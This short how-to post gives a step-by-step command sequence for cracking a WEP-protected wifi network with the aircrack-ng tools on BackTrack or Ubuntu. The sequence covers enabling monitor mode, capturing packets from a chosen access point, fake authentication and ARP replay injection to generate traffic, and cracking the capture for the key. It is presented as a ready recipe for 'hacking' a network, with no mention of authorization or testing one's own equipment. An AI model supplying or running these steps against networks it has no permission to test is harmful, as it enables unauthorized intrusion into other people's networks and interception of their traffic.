How to hack wifi network in backtrack/ubuntu

How to hack wifi network in backtrack/ubuntu

opne the konsol/shell/terminal
type following code.

/etc/init.d/networking start
airmon-ng
airmon-ng stop [wireless card name]
airmon-ng start [wireless card name]
airmon-ng
airodump-ng [wireless card name]
channel, bssid, essid
ctrl c (press0)
airodump-ng -w wep -c [channel number] --bssid [bssid number] [wireless card name]
(open new konsole)
aireplay-ng -1 0 -a [bssid] [wireless card name]
(open new konsole)
aireplay-ng -3 -b [bssid][wireless card name]   ===> run until data>30,000
ctrl c (stop)
dir
aircrack-ng [filename].cap


 you are done